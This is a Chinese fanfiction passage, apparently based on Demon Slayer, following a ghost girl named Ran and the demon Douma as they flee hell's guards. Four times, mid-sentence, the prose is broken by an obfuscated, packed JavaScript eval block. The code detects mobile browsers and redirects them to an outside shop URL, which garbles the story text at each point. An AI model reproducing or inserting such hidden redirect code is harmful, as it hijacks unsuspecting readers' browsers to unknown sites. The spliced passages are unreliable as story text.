万千霜华,如同沉星坠地,向着罗刹庞大的钢铁身躯席卷而去。 罗刹体内涌出炽热的岩浆,将冰雪化为袅袅的蒸汽,一时天地间烟雾升腾,什么也看不清。 没过片刻,席卷而来的寒风吹散了雾气,我竟然看到那巨犬的身形残破不堪,身上满是缺口的巨兽发出低沉的咆哮,竟是摇摇欲坠的样子。 啊,啊啊,到底发生了什么啊? 这个叫童磨的,是什么人形怪物吗? 正在脑中疯狂尖叫的我,看到那只鬼轻盈的一个回旋,落在我面前的冰墙上。 他张开扇子掩住嘴角的尖牙,眼中流转着残暴的喜悦。 “我知道,我就知道,小染最有营养了!啊,真是从来没有过的感觉!从来没有过如此完美的战斗啊!” “血鬼术·玄冬冰柱!” 无数巨大的冰刺从天而降,把罗刹死死钉在了大地上。 巨犬发出最后一声哀鸣,身躯溃败成灰烬,湮灭在晶莹剔透的冰雪里。 我只觉得自己也被冻住了。肺甚至隐隐有些疼。 如果我有肺的话。 怎么办,怎么办。 这家伙竟然,他竟然把巡路罗刹给杀了! 整个无间地狱都会知道这里发生的事,很快,很快就会有更强大的存在来干涉这里的失序。 啊啊,会被追杀的!一定会被追杀的! 腰间突然被一只颀长的手臂牢牢圈住,轻轻一带,恶鬼便又挟着我落在地上。 “诶呀诶呀,真是弄的一团糟。”他看着地上几道深长的裂缝,很伤脑筋似的用扇子敲了敲肩膀,“规模太大的血鬼术果然不好控制,但用起来感觉还是好棒啊!说起来,无惨大人可真是个好人,直到今天我都对他心存感激,如果不是被他变成了鬼,我的生活一定无聊透顶。诶诶,小染觉得怎么样?刚刚是不是超华丽?” 可能因为没听到我的回音,他转过头,一脸关切地问道: “怎么了,不舒服吗?啊,忘了告诉你,我的血鬼术是有毒的,不可以吸进去哦。不过那只是对人类和普通的鬼致命,小染又不是人类,应该没有那么脆弱吧?” 啊…… 我努力把自己飘渺天外的灵魂拉回现实。 面对这种怪物,越是恐惧,就越是危险。 再说怕什么,大不了再死一次。 “你是怎么做到的…?”我尽量让自己的声音不发抖,“你为什么突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252282|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能变出那么多冰?这根本不可能啊!” 童磨好看的脸上再次浮起一个大大的笑容,甚至故作神秘地眨了眨左眼。 “啊,这是我的秘密哟。不过小染大概也已经猜到了,所以告诉你也无妨哦。” 我一边跟随他往荒原的某处走,一边听他兴致盎然的讲起往事。 关于某个叫做无惨的恶鬼始祖,以及作为鬼中之鬼的上弦们之间残酷的换位血战。 换位血战的规则是,只要吞噬了对手,就可以拥有对手的力量乃至记忆。 上弦之鬼都是活了几百年的怪物,积累了无数战斗经验,他们之间的厮杀,结果往往是一方吞噬另一方,力量尚在其次,获得对方的经验也同样重要。童磨吞噬了我的右手,也吞噬了我将灵力转化成水的能力,虽然只有一小块我的躯体,却也足够让这只绝顶聪明的鬼读取我的法术讯息。 堕入地狱的恶鬼,本应被剥夺了所有生前的力量。而他应该是从一开始,就留意到了我的能力,能唤醒他引以为傲的血鬼术。 我看了看自己空荡荡的手腕,默默捏了把冷汗。 他这是把我当成移动储备粮了? 哪一天他兴致上来,或者需要更强大的力量之时,就会毫不犹豫地把我吃的渣都不剩吧。 那只鬼看起来丝毫不在意我的心理活动,只是自顾自地说个不停。 “啊啊,要是黑死牟大人在这里就好了,或者无惨大人也好,真想让他们看看我全新的血鬼术啊!”他的语气中竟然带着一丝哀怨,“实在不行,猗窝座阁下也可以啊,大概会大吃一惊吧,想想他那张脸上会出现的表情,呵呵呵。” 我盯着他的背影,心情复杂。 现在跑是肯定跑不掉了,跑掉也没用,大概我也已经进入被地狱通缉的黑名单了吧。 真是倒霉,倒霉死了…我这是造了什么孽啊… 话说…这鬼为什么话这么多啊?是有多少年没跟人说过话了? “诶呀诶呀,是在这边没错了。” 当我看清眼前的一切时,心里不由得又是一凉。 几根巨大的黑刺在大地上突兀地支起,上面还残留着罗刹未散的灰烬。 就好像是… 就好像是罗刹体内的熔岩血液硬生生被凝成固体,然后穿透了它的身体。 这…光是想想,就不寒而栗。 这真的是鬼吗?我不禁抬起头,寻找那一抹暗红的身影,正看到他抱着袍子和冠冕,边朝我走来,边拍打上面的灰。 “真是的,害我弄脏了衣服。”鬼不高兴地撇嘴,“啊,果然这种恶心的东西一点也不好吃,只尝了一口都差点吐出来,完全不能送去极乐净土呢。女孩子才是最美味的,好想念小忍啊,还有小琴叶…”说着说着,他已经走到了我面前,目光竟然笼罩上浓浓的食欲。 “呐,小染,再让我吃一口吧。”他笑嘻嘻地伸出手摸向我的脸,“突然好饿啊,小染看起来好好吃,人家真的好想吃……” 我毛骨悚然地往后跳了两步,拼命寻找着说辞:“你,你要干嘛?现在不快点走的话,一会儿其他巡路罗刹追上来我们就惨了!” “可是,走不动了哦,好饿啊…” 恶鬼嘴里嘟囔着,身体晃了晃,突然直直地倒了下来。 我眼疾手快地冲过去,才没让他那张漂亮脸蛋拍到地上。 是灵力透支了吗?也难怪,似乎自从来到这里就什么能量也没有摄取,在只吃了我一只手的情况下,开启了那么大规模的攻击型法术,单杀了两只守卫罗刹。 所以这家伙……在华丽丽地喜提新战绩后,就这么被饿晕了? 还真是一只相当奇特的鬼呢!一般的正常鬼总该关注自己的状态吧,这货倒是好,直到饿晕了才趴下吗?看来是关注力全在战斗技巧上? 该说他是过于敏锐还是过于迟钝呢? 说起来,从遇见他开始,好像这家伙的话题就总也离不开吃的。是因为他那个什么术的攻击范围和强度都太过强悍,所以消耗也很大吗? 所以现在到底要不要把他丢在路边算了? 一番心理挣扎后,我勉强扶起那只软绵绵的鬼,他白色的长发无声无息地垂落在我的脖颈边,那双漂亮的眼睛也安静地阖上了,唯有唇角还微微勾起,好像在做着某个属于吃货的美梦一样。 要赶紧跑路才行。我举起左手使了个迅速移动的法术。 啊,这鬼怎么这么高!而且好沉!正常鬼不都没有实体吗?拜托你,做个正常的鬼啊! 6. 天赋异禀之鬼(1) 我叫染,这是我堕入地狱的第二百年。在之前的两百年,我自认都是个安分守己的地狱好公民,然而现在,我成了被通缉的逃犯。 怪谁?怪我自己!谁让我手贱,路过三途河时捡了一只名叫童磨的怪物回来。 不是我不想反抗,这鬼的战斗力实在逆天啊,竟然手撕了地狱里的守卫罗刹!在带他跑路的这几天,我只要闲下来,就想起他一边说着“小染真是太棒了!”,一边吃掉我一只手的残忍画面。 阎魔大王啊!满天神佛啊!你们都在哪儿啊? 我简直是哭着醒来的。 没错,带着这只饿晕的鬼跑路到我的又一处安全小屋后,我也累到躺平了。 睡了一大觉恢复灵力后,我爬起来坐在桌旁,拿出我珍藏的红花晶体,先塞了几颗到自己嘴里,回头看了看躺在地上依然昏睡不醒的恶鬼,默默叹了口气。 我小气归小气,还不至于让鬼活活饿死在我家里。 抓了一把红花晶体小心地研磨成粉末,我开始琢磨他能不能吃这个,怎么给他吃下去。 就在这时,地上的恶鬼微微动了一下,似乎低声在说着什么。 我凑过去仔细一听,果然是梦话。 鬼也会做梦吗?而且说的梦话还那么奇葩? “啊,小忍真是太可爱了…跟我一起下地狱好不好…” “小琴叶,小琴叶…不要逃嘛…留下来,留下来好不好…” 我无语,看来这位童磨大人在生前真是很讨女孩子喜欢呢。 然而接下来的内容就逐渐诡异起来。 “黑死牟大人,黑死牟大人…您的剑技真是太美了呢…没关系,胳膊放在那边就好,我一会儿就去拿…” “猗窝座阁下真是的,不要打人家的脸啊…不过宽宏大量的我是不会跟你计较的,反正你也打不过我呵呵呵…” “啊啊,无惨大人,您穿女装真的是…秀色可餐啊…” ……这家伙梦里能装下这么多人吗?? 我忍无可忍地拎起他的衣领一阵晃:“笨蛋!别睡了!起来吃点东西!” 鬼睡眼惺忪地被我晃醒,直到看清我的脸,才扯出个流着口水的笑容:“是小染啊,我还以为你也跑掉了。怎么,想好要去极乐净土了吗……?” “极乐个鬼!你再睡咱们就都去极乐了!”我把装着红花粉末的碗递给他,“吃点东西,你是灵力消耗过大了才会这么饿,吃了这个的话,很快就能恢复了。” 鬼接过碗,低头看了看,露出伤心欲绝的表情:“看起来不好吃呢,想要可口的女孩子,软软的,甜甜的……” “不要挑食,再继续睡下去你就更动不了了,你自己也说过,要吃有营养的食物才能更适应环境呀。”我觉得自己从没这么有耐心过,甚至伸出手给他看,“喏,我的手快再生完成了,现在还不好吃,等长好了再给你吃。” 新生的手上泛着一层青蓝色的鳞光,童磨满脸好奇的伸手戳了戳,然后眼睛一亮,眼看他露出了尖牙,我眼疾手快地把手缩了回来。 “好小气啊,小染。”那张漂亮的脸看上去委屈的不行,“你到底是什么呢?好想现在就吃掉你。” “这种问题我自己也想知道啊,都说了我没有记忆了!” 看他终于泪汪汪地吃光了碗里的晶体粉末,我竟然怀疑自己是不是太残忍,居然逼着一只这么馋嘴的鬼吃素。 “地狱里的鬼虽然也会互相残杀吞噬,但从没有一只鬼会对罗刹动手,他们是这里的守卫,我们惹上大麻烦了。” 童磨的眼睛眯了起来:“那不是很有趣吗,和小染一起逃亡,躲避地狱守卫的追杀,诶呀,光是想想都觉得好激动!” “……可能会死,是真的死掉,灵体都不剩那种。” “啊,好可怜。”鬼的语气中丝毫听不出一丝可怜的意味,他舔了舔手指上残余的晶体粉末,“但也许不会哦。交手时我就发现了,那两个东西只是傀儡而已,这种东西来的数量再多也没有用,只要斩断控制的线,或是完全破坏掉就可以了,呵呵,说起这个,我可是很拿手呢!” “倒是你呀,小染。”他抬起目光,脸上的神情似笑非笑,“虽然是可爱的女孩子,我从不生女孩子的气,但既然我们是好朋友,就要拿出诚意来哟。喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252283|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢撒谎的孩子,是不能去极乐净土的呢。” 不知是否是错觉,半明半暗的灯光下,他脸上的笑容似乎有点冷。 这反倒让我觉得自然多了。 “彼此彼此,童磨大人。我们现在是朋友了。”我挺直腰杆,一本正经地跪坐在懒洋洋的鬼面前,“再次自我介绍一下,我是染,两百年前堕入无间,原因不明,技能你也看到了,我可以操控水,武器是长刀。别的事情就需要找回记忆后才能告诉你了。现在形势对我们很不利,地狱会派人来抹杀我们,想从这里逃出去只有合作,我可以定期给你我的血…甚至部分肢体,前提是不能给我造成致命伤。此外,我会向你提供我所知道的关于这里的全部信息,怎样,要不要跟我一起玩这个游戏?” “诶呀,可爱的小染认真起来了呢!”童磨握着扇子,假惺惺地掩住了笑脸,“就是这样,就是这样,拼尽全力战斗,不顾一切想要赢的女孩子,我最喜欢了!那就这么说定了,如果半路反悔的话,我可是会伤心的,那样可能会忍不住吃掉你哦!” “一言为定。” 我从袖子里抽出一卷纸,在他面前展开:“这是我绘制的地图。无间地狱有四个界域,分别是业火、死灵、寒冰以及最后的孤独地狱。我之前一直住在咱们现在所在的业火地狱,这里的“门”只有在血月升起时才会开启,在三途河畔有多个这样的“门”,它们是单向的,只能进,不能出。如果按你之前的推测,也许我们可以往血月升起的地方前进,看看有没有可能遇到出口,但即使存在这样的出口,也一定会有相当厉害的守门人,我们要做好大干一场的准备。” “这两天我会趁血月再去补充一些红花晶体,你抓紧时间恢复体力,两天后我们就出发。” 鬼悠然自得地摇着扇子,眼中却含着些不明的意味:“小染很能干嘛。如果是之前,可能会推荐你成为下弦也说不定哦。来到这里之前的你是什么样的人呢?我真的开始好奇了呐。” “我们会彼此了解的,毕竟这里是地狱,每个人的罪孽都不是秘密。”我回赠他一个微笑,“希望我们看到真实的彼此时,都不会太过失望。” 7. 天赋异禀之鬼(2) 童磨这只鬼,实在是让我有些困惑。 由于丢失了几乎全部的记忆,我对“鬼”这种存在属实没什么概念。按照他之前的说法,这些生物由千年前的一位始祖所造,昼伏夜出,惧怕阳光,以人肉为食,人类为了灭杀他们而成立了名为“鬼杀队”的组织,一代代与那位鬼王及他麾下的恶鬼们厮杀,不死不休。 恶鬼虽强,但人类有无穷尽的子子孙孙。之后的岁月,有的人会变成鬼,有的人会去杀鬼,就这么纠缠了千年。 这便是“因果业力”吧,我脑子里突然冒出了这个词。 但从童磨嘴里说出来,整个故事就带上了一层奇特的讽刺感。 “也不是什么复杂的事啦。人类本身就是可悲的生物,永远在苦苦挣扎,不是为钱财,就是为名声,要么就是为一家老小。赶上好的年景还能勉强温饱,赶上不好的年景,人类也一样吃他们的同类哦,为了掩饰最后一点虚伪的良心,甚至互相换着吃,你家吃我家的女人,我家吃你家的小孩,诶呀,那悲惨的场面啊,真是让人难过。”他装模作样的擦擦眼泪。 “正因为是这样,相信那些虚假的道义和规则,才能让他们有所攀附,就好像洪水里的蝼蚁抱住浮木一样。可怜,真的好可怜。” 人类?我想起破碎的记忆里那一张张模糊的脸,和他们连绵不绝的祈祷声,皱了皱眉。 “明明什么出路也没有,却还相信会有神来拯救他们,真的是蠢到家了啊。” 童磨盘坐在一朵冰做的莲花上,用他的血鬼术驱动着莲花漂浮在半空。对这种得瑟又耗费灵力的跑路方式,我表示不可理喻,毕竟我们手里的红花晶体数量有限。但这只鬼实在是脑洞清奇,居然莫名其妙地问我: “小染有没有泡过温泉?” “那是什么?” “啊,连温泉浴都没有体会过吗?真是可怜的孩子。”他无比同情的说。 随后在路过开满红色花朵的河道时,我照旧疯狂撸花,却看童磨走到某处,仔细观察了一会儿,打开扇子笑嘻嘻的说:“看好了,我可是第一次在非战斗场合用这个哟!” “血鬼术·蔓莲华。” 仿佛有生命的、冰晶形成的莲蔓从虚空中迅速生长出来,而后钻入坚硬的地面,过了片刻,突然脚下的大地震颤了一下,土面开始塌陷,最终形成了一个大坑。几道藤蔓快速抽离土地,末端粘满了血一般颜色,却流转着宝石般光彩的奇异液体。 紧接着,忽然有一大股红色的液体从凹陷的土地中喷涌了出来,源源不断,片刻便积聚成了一个小水潭。 童磨优雅地做了个“请”的手势,我突然意识到他做了什么。 开在干涸河道中的红色花朵只是表象,这些血红的液体才是三途河真正的河水,这是一条流淌在地下的灵力之河,像是一条巨大的血管,滋养着整个无间地狱的存在。 这只脑洞清奇的鬼,居然把这条血管找到了。 我小心的赤脚踏进那些红色的水中,它们竟然是温热的。 “温泉”是吗?这鬼以前过的什么生活啊,这么会享受? “童磨你还真是……等等!你脱衣服干嘛?!” 已经脱掉袍子和上衣的鬼满脸写着纯真无辜:“在说什么傻话,当然是和可爱的小染一起享受温泉浴啦!” “……你变态啊不要过来!” 在三途河水的浸润下,我再生的手以前所未有的速度恢复了正常,灵力流淌在血液中,从未如此充沛而沸腾。 代价是全程低着头。没关系,我一向冷静镇定,和一只脑子里不知道有什么的半裸鬼一起泡什么温泉,并不能让我尴尬,不能! 涌出地面的灵力之河吸引了大量的“聻”,甚至有个别游荡的魔怪开始向这个方向聚集。童磨随意地用扇子在水面上拍了拍,四周突然腾起浓烈的白雾,外界的一切声音都消失了,我看到一颗颗六角的冰花浮在半空,像那只鬼的眼睛一样折射着五彩斑斓的光。 好美。 “童磨大人,过去应该过着很不错的生活吧?” 鬼使神差的,我如此问道。 “应该说还算过得去,但很少有闲暇呢。毕竟作为神之子,拯救信徒们是我的义务嘛,要随时倾听那些可怜人的愿望哦。”他柔和好听的声音穿过雾气传来,听起来有些飘渺,“怎么,小染有没有什么痛苦的事要对我诉说的?我很乐意听你说。” “我没有什么痛苦的事。”我想了想,继续道:“况且这岂不是很没道理?因为自己痛苦,就要想办法让他人与自己一同分担,不管这个人自己是不是熟悉,只要一味向他索取就可以了,这样的话,一直被索取的人岂不是永远在承担本不属于自己的痛苦吗?这样不是太辛苦了吗?” 白雾那端的鬼停顿了片刻,随即爆发出一阵夸张的笑声。 “呵呵呵呵,小染真的太可爱了!居然会这么想吗?真是头一次听到这样的说法呢!不过不用担心,作为神之子的我,是不会感到辛苦的,毕竟确保信徒的幸福是我的责任呀!当然,如果太过痛苦,我也会送他们前往极乐净土的,那里什么悲惨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252284|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事都没有,非常的幸福哦。” “但总觉得哪里有点奇怪呢。”我抓抓被浸湿的头发,“当这些人遭遇困境时,谁也没来救他们,不论是神明还是他们的同类,都未曾伸出援手,只有你愿意帮助他们。但最终,他们全都去了极乐净土,代替他们承担痛苦的你却来了这里,这又是什么道理呢?” 荒川之主,请怜悯我们… 荒川之主,请护佑我们… 荒川之主,请收下我们的供奉… 脑海中的木鱼声和祈祷声不合时宜地响起,我捧起一抔水捂住脸,透过被染成红色的视线,一些零星的画面再度闪现。 那是无穷无尽的汪洋。 浑浊的洪流席卷着房屋的碎片和漂浮的尸体,浩浩荡荡,似乎永无停歇之时。 之后是凌厉的火光,有人在诵读着冗长的咒语。 好痛啊…好痛。 为何如此对我,我明明是,明明是…… 一双手突然捂住了我的耳朵,骨节修长而优美。可能是因为那双手太过冰冷,脑海中的声音骤然褪去,四周重新安静下来。 我反射性的抬头,正对上那双琉璃般美丽的眼睛。 “不用想那些事哦,小染。” 童磨的声线非常温和,魅惑如同上好的丝绸,那一刻我甚至以为真的有神明降临在我面前。 这甚至让我忽略了他是如何看出我在想什么这件事。 “只要追随我,就一定会救赎你的。” 红色的水流滑过男人的下颌,滴落到如雕刻般分明的锁骨上,再向下滑落至肌肉紧实的胸膛,白橡色的发丝与水流交缠在一起,仿佛鲜血中漂浮的莲蕊。 距离太近,空气仿佛冻结般寂静,我耳中只剩心跳声。 奇怪,我应该已经死去很久了。 然而多么奇妙啊,这种安心的感觉。大概正是为了这种感觉,无数蝼蚁宁愿饮鸩止渴,也甘之如饴。 洪水中的浮木,寒夜中的火光。 我深吸了一口气。 “你……能把衣服穿上再传教吗?” “诶呀,好难过,小染竟然无法理解我的善意吗?”童磨挂上了他标志性的悲伤表情,“好伤心,好伤心。” 我坦诚的翻了个白眼,正要继续挖苦他几句,忽然感到不远处有什么在疾速接近。 是“焚”,那种生活在三途河河道里的巨型怪物。 “终于来了吗?也太慢了哦。” 恶鬼露出了笑容,和尖利的獠牙,仿佛即将迎接一场盛宴。 8. 天赋异禀之鬼(3) “焚”是一种形态诡异的触手怪,通常状态下是隐形的,本体非常庞大,游弋在三途河附近的地下,只有捕食时才会以极快的速度伸出无数根实体化的触手,吸取猎物的灵力。 应该是三途河的河水涌出地面,附近的这一只就被引来了。 目光所及的整个河道的土壤都像波浪一样起伏不定,似乎有什么巨兽在地下呼吸般,猛的下陷了一下,随后是无数黑色的触手穿破地面,如同箭簇般袭来。 这一幕实在有点恐怖,如果忽略我身旁那只鬼兴奋到快要跳舞的表情的话。 “哇啊!好厉害的样子!” 我无语地看他一眼,这家伙似乎是真的没有“恐惧”这种情绪,而且那是什么奇葩审美?为什么会用冰做出两尊那么大的圣女像啊?? 童磨站在圣女像手中所捧的冰莲上,笑嘻嘻地张开了扇子:“那就先试试这个吧。血鬼术·莲叶冰!” 空气中瞬间凝结出成百上千朵大小不一的冰莲,带着摄人的寒气扑向“焚”的触手。实体的触手在接触到这些透明的冰花后,以最快的速度蒙上了一层霜色,竟然是在迅速结冻。 “啊,比以前好用多了呢!”童磨满意地点点头,竟轻轻一跃,落到了被冻在原地的“焚”的触手上。 “等等,危险!” 我喊出声时已经晚了,冰冻的触手迅速破裂,从中又伸出数十条新的触手,眼看就要将那个暗红的身影卷进去。 童磨以一种几乎不可能实现的角度极为敏捷地闪过最初的一波攻击,翻了个身踩上了还没解冻的另一条触手,两把金色的扇子挥舞如流火,将袭来的触手纷纷斩断。 我拔刀冲过去,长刀带起成片潋滟的波光,呈扇形斩断了他背后出现的几十根触手。 可能是终于感觉占不到便宜,“焚”的触手迅速缩回地下,但土壤的涌动并没有停止,它只是在寻找更好的攻击位置。 “这不行!”我对童磨大喊,“不解决本体的话就没完没了!” 鬼用扇子支着下巴,若有所思地盯着地面,又冒出一句莫名其妙的话: “小染,钓过鱼吗?” “什……” 话音还未落,突然被他拽着急速上升。 我低头看到一道寒冰凝成的藤蔓正托举着我们,将我们带向空中。 “钓鱼的话,首先需要鱼饵。尤其在冬天的冰面上,饥饿的鱼甚至会自己跳出来哦!” 童磨突然松开手,后退了一步,露出个恶作剧般的笑容。 “接下来就交给小染啦!” 他开开心心地跳了下去。 “啊啊啊笨蛋!你疯了吗?!” 我扑过去想抓住他,然而抓了个空。 几乎就在一瞬间,下方响起一阵犹如牛吼的怪异声音,我看到一张布满黑色利齿的巨口在河道中央张开,漆黑的土地上不知何时覆盖了一层实质化的粘稠物质,确实极似某种怪异的水生生物。 但“焚”的大半身体显然还隐藏在河道的土层中,即使浮上了“水面”,也远未到跳出来的地步。 被落向自己的猎物吸引,只有巨口缓缓探出了地面,张开的口腔中布满一圈圈交错的牙,漆黑如深渊。 我看不清童磨的表情,也突然意识到我似乎从未看懂过他的表情。 在温和或是欢脱的假面背后的那只鬼,似乎永远在伴随着死亡与毁灭翩然起舞。我无法知晓他想要的究竟是什么,他好像拥有一切,又好像一无所有。 一切都不确定,他仿佛漂浮在指尖的雪花一样华美而虚无。 不知为何,这种感觉让我非常的不适。 这只鬼所说的话,所做的事,都有种诡异的违和感。 什么是钓鱼?怎样才能让鱼跳出水面?? 水? 如果是水的话…… 电光石火间,我已经双手交错在空中画出了某个记忆深处的符号。 “沧龙·走蛟!” 我可以做到,可以做到的。 因为那是我隐藏在灵魂深处的本能。 生物皆有本能。就像鹰隼天生翱翔于苍空,蛟龙天生是江河之主。 既然鱼不肯跳出来,就让鱼所藏身的河流来到地面吧。 三途河的整个河道开始了剧烈的震颤。 仿佛察觉到了危险,“焚”张开的巨口缓缓闭合,它想逃。 怎么可能让你逃掉? 我强忍住劈开头颅般的剧痛,张开双臂大吼一声:“起!” 红色的狂澜几乎在一瞬间暴涨而起,巨浪裹挟着其中若隐若现的怪物躯体,不受控制地脱离了地表。 脑中的诵经声和木鱼声愈加炽盛,我却顾不上那些,心中只剩下一个念头: 我可以做到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他像个天真而残忍的孩子一般笑着,将自己的猎物层层分解,敲骨吸髓。 童磨跳下莲花座,悠哉悠哉地走过去捡起了那颗晶体,还举起来放在眼前看了看,然后喜笑颜开地冲着我挥挥手。 “小染,要不要吃这个?” 我望着他美丽的不染尘埃的彩色瞳孔,眼前一黑,失去了意识。 9. 天赋异禀之鬼(4) 我做了一个很长的梦。 在不知是什么年代的人世某处,有一条宽阔而平静的河流,流经的平原上城镇众多,因为丰沛的河水滋养,附近的农田格外丰饶,古时候的大名们于是纷纷在此建起堡垒和城池,将此处作为供养皇室的粮仓。 然而万事皆有代价。当地的人们相信,要想求得风调雨顺,就必须向主宰河川的水神献祭,如此才能保证在雨季时这条水量浩大的河流不至于失控。 祭品之中最为宝贵的,是年龄正当花季的幼女。 这些女孩由当地的大名推举,在四五岁刚懂事时,便从父母身边带离,养在神社中,饮□□细,并授以经文舞乐等仪礼,称为“巫女”。五年之后的夏至之日,水神的祭祀仪式上,巫女被抬上以鲜花和供果装饰一新的竹筏,推往江心。 无一例外的,她们都会被荒川之主收下。有书中记载,有人曾在祭祀的高潮见过那所谓的水神“荒川之主”露出真容,那是一条青蓝色的大蛇,头生独角,已有化龙之相。 水神在江心温柔地掀起波涛,吞噬了载着巫女和供品的竹筏。岸边的人群则虔诚跪地,伸手向天,祈求水神的赐福。 祭祀相当有效,在几十年间,这条河流从未泛滥,人们也因此更加笃信这位水神的神力,每年的巫女供奉源源不断。 直到某位幕府将军在位的末年。那一年的夏天,大雨连绵数月,各地的河水暴涨,堤坝却纷纷溃决。这其实早有征兆,为了更好的利用水源,当地的人们在大名的命令下修建了过多的堤坝和围堰,河道因此受阻,赶上暴雨之时,泛滥是必然的结果。 倘若提前转移人畜,倒也未必造成多大的损失。然而那位大名为了保住自家的庄园田产,竟命人炸开堤坝,以致从未泛滥过的荒川,以迅雷不及掩耳之势,吞没了附近低洼处大小近十个村落。 然后,诡异的事发生了。 在几个月后的一天夜里,那位大名全家上下几十口人,全部莫名横死在家中,更可怕的是,大名本人尸首不全,仅余下一颗头颅,几块残肢。其余的人则更是诡异,连尸首都未剩下,只留下满地湿透的衣物,和什么巨大生物蜿蜒爬行的痕迹。 贵族家出了这么大的事,举国震动,更是爆出了所谓水神数十年来吞噬少女为祭品的可怖内幕。京城判断为妖孽作祟,于是请出了由皇室供奉的阴阳师,在一个下着大雨的夏至之夜,费了一番周折,将那名为“荒川之主”的大蛇以天火击杀。 人类供奉了那位水神,最终却诅咒它的名字。 我似乎一直在下沉。 头顶是如同井口般的一片光,我向着它伸出手去,却总也够不到。 啊,为什么?我只是个安分守己的鬼啊。 我一直老老实实地呆在地狱里,做一只没有过去和未来的鬼。 为什么要让我受到如此惩罚? 朦胧中,唇齿间似乎被什么东西温柔地顶开,某种冰冷的液体淋漓地注入咽喉,带着浓重的腥甜,和一丝诡异的莲花香气。 真奇怪,那腥甜的液体却终止了我无休无止的坠落,胸中和咽喉仿佛被灌进冰水,又好像被烈焰点燃,一阵灼热的刺痛令我瞬间被拉回现实。 “咳咳咳,童磨你,你给我喝了什么啊?” 拥有虹彩眼眸和白橡发色的美丽魔物伸出舌尖舔着嘴角的一抹艳红,笑容一如既往的无忧无虑。 “欢迎回来哦,小染真是让人担心死了。” 我伸手擦了擦嘴,果然是血。 这个疯子,好端端的给我喂什么血?搞得我喉咙好痛。 此处位于一座悬崖边,我看到前方升起的巨大红月,月影之下,似乎有一片奇异的红色湖泊。 冰凉的夜风迎面吹来,我清醒了很多。 好像有什么话要对他说? 明明记得很清楚,等再见面时,一定要告诉他的话。 我转头盯着那只鬼,他一脸不知所谓:“怎么了吗?小染的样子好奇怪。” 望着那双近在咫尺却又空无一物的美丽眼眸,我心中没来由升起一阵愤怒。 啪。 扬起右手,我狠狠打了他一巴掌。 居然打中了。然而大概因为这鬼的脸皮太厚,以致他连基本的反应都没有,只是眨了眨眼。 “你为什么跳下去?!”我咬牙切齿,狠狠瞪着他。 他似乎因为无法分辨我的情绪而迟疑了片刻,但很快就挂上了一如既往的笑脸。 “小染是在生我的气吗?啊,果然不该那样粗暴的处理食物,吓到你了吗?下次我会用温柔一些的方式,不会让你害怕的方式。但我吃的很干净,一点都没有浪费哦。” 我气的只想抽他那张天真无邪的脸。 “你战斗的方式很危险懂不懂?!”我握紧拳头,几乎想再照他脸上来一拳,“你是习惯这样了吗?只是为了刺激吧?你根本感觉不到害怕,也感觉不到开心,对不对?” 那一瞬间,童磨脸上所有的表情都消失了,好像一张精巧的面具突然破裂。 他整个人都沉入了阴影中,只留下一双犹如冰晶般梦幻而空旷的眼睛。 “好伤人啊,小染竟然这样说话。” 他的语气依然波澜不惊,缓缓靠近,安静地凝视着我,从内而外散发出巨大而恐怖的威压感。 如同某种奇特的、根本不属于这个世界的生物,很难不让人畏惧。我想即使在当年,那位将此异类转变为鬼的鬼王,在某种程度上而言,大概也是厌恶乃至忌惮他的。 所谓异类,大抵是有着特殊的灵魂,从出生起就无法如人类一般生活的存在,偏偏又披上了一张人类的皮,至此,他们在人类群体中的生活,就注定了充满艰难。 变身成鬼,反倒是更适合他。现在更是连我都不知道这只名为童磨的鬼变成了什么,也许聪明如他自己都弄不清楚。 “为什么呢?上一个说这种话的女孩子,可是让我相当伤心呢。呐,小染,朋友之间不应该好好相处吗?为什么要像人类那样,说一些恶毒又让人无法理解的话呢?” 我攥紧的拳头,最终无力地松开。 是啊,他根本不懂。这是一只没有心的鬼啊。 他只是在尽量的模仿,模仿人类应当拥有的情绪。但这又有什么错?天地之大,万物生灵,为何非要通晓人理,非要拥有人类的爱恨情仇?山川与河流是否拥有人情?树木花草、飞禽走兽呢?无法拥有人类的感情,就没有权利存在于世上吗? 况且同为非人的我,又有什么权利,要求他一定要理解我的话语和我想要表达的感情呢? 人类有人类存在的方式,鬼神有鬼神存在的方式,仅此而已啊。 我叹了口气,对他露出一个无奈的微笑。 